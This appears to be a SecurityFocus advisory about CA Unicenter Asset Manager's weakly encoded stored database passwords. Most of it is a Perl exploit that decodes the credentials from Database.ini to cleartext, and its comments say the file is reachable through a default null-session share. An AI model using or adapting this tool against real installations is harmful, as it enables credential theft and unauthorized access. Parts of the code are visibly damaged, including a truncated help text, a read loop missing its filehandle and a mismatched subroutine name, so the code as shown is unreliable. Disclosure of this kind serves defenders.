source: https://www.securityfocus.com/bid/7808/info It has been reported that Unicenter Asset Manager stores password information in a way that may be easily recovered. Because of this, an attacker may be able to gain access to potentially sensitive resources. #!/usr/bin/perl $version='ca-dbpwrecover 1.2 2003/03/19'; ## ## (c) th at kufumo.com 2003 ## ## this version was based on AMO Unicenter 3.2 ## ## thanks to emf at kufumo.com and ssw at kufumo.com for help with the ## disassembly and helping to reverse the encoding algorithm! go daddy! ## ## can't find a suitable file? ## ## (a default installation has the file 'Database.ini' available via a ## nullsession share ("amdomain$") on the machine running the console/ ## engine.) ## ## $|=1; ## $ironic_seed="NetCon"; ## we predict $ironic_seed will change ## in the next version of CA AMO etc. $CRYPT="BP7xCtDQqA2EZWoFH6wSIJeMzdYLb9Vfm5uNO4cKRGT3kUX018apyghijlnrsv"; $CLEAR="ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"; use Getopt::Long; GetOptions("h", "u=s" => \$uname, "p=s" => \$pword, "f=s" => \$file); if($opt_h) { print <] [-p ] [-f ] -h : this -p : password (if not using files) -u : username (if not using files) -f : filename (e.g. 'ca-dbpwrecover -f Database.ini') EOM exit(1); } if($file) { DecryptCAEncryption("","",$file); } else { if($pword && $uname) { DecryptCADecryption($pword,$uname,""); exit(0); } else { print "Not enough parameters. Try -h.\n"; exit(1); } } exit(); sub DecryptCAEncryption { my($pword,$uname,$file)=@_; my($u,$c,$oa,$ob,$offset); my(@crypt)=split(//,$CRYPT); if($file) { open(IN,$file) || die "error: failed to open $file: $!\n"; while() { if(/^UserName=\#(\S+)\s*$/) {$name=$1;} if(/^Password=\#(\S+)\s*$/) {$pass=$1;} } close(IN); } $uname=$name if($name); $pword=$pass if($pass); @pass=split(//,$pword); @user=split(//,$uname); @nc=split(//,$ironic_seed); print "Username: "; $c=5; for($u=0;$u<@user;$u++) { ## find occurrance of current char ($user[$u]) in cleartext ## keystring: $_=$CLEAR; while(m/$user[$u]/g) { $oa=pos; } $oa++; if($u<@nc) { $_=$CRYPT; while(m/$nc[$u]/g) { $ob=pos; } $ob++; $oa=$oa+($ob*-1); } else { $oa=$oa-$u+$c; $c++; } while($oa<0) { $oa=$oa+62; } while($oa>62) { $oa=$oa-62; } $oa--; push(@clear,$crypt[$oa-1-$u]); } foreach(@clear) { print $_; } print "\n"; ## who said reuse of code is a good thing? ## i think i failed class here. heck, did you want the tool or not? ## print "Password: "; $c=@clear; for($u=0;$u<@pass;$u++) { ## find occurrance of current char ($user[$u]) in cleartext ## keystring: $_=$CLEAR; while(m/$pass[$u]/g) { $oa=pos; } $oa++; if($u<@clear) { $_=$CRYPT; while(m/$clear[$u]/g) { $ob=pos; } $ob++; $oa=$oa+($ob*-1); } else { $oa=$oa-$u+$c-1; $c++; } while($oa<0) { $oa=$oa+62; } while($oa>62) { $oa=$oa-62; } $oa--; push(@cpass,$crypt[$oa-1-$u]); } foreach(@cpass) { print $_; } print "\n"; }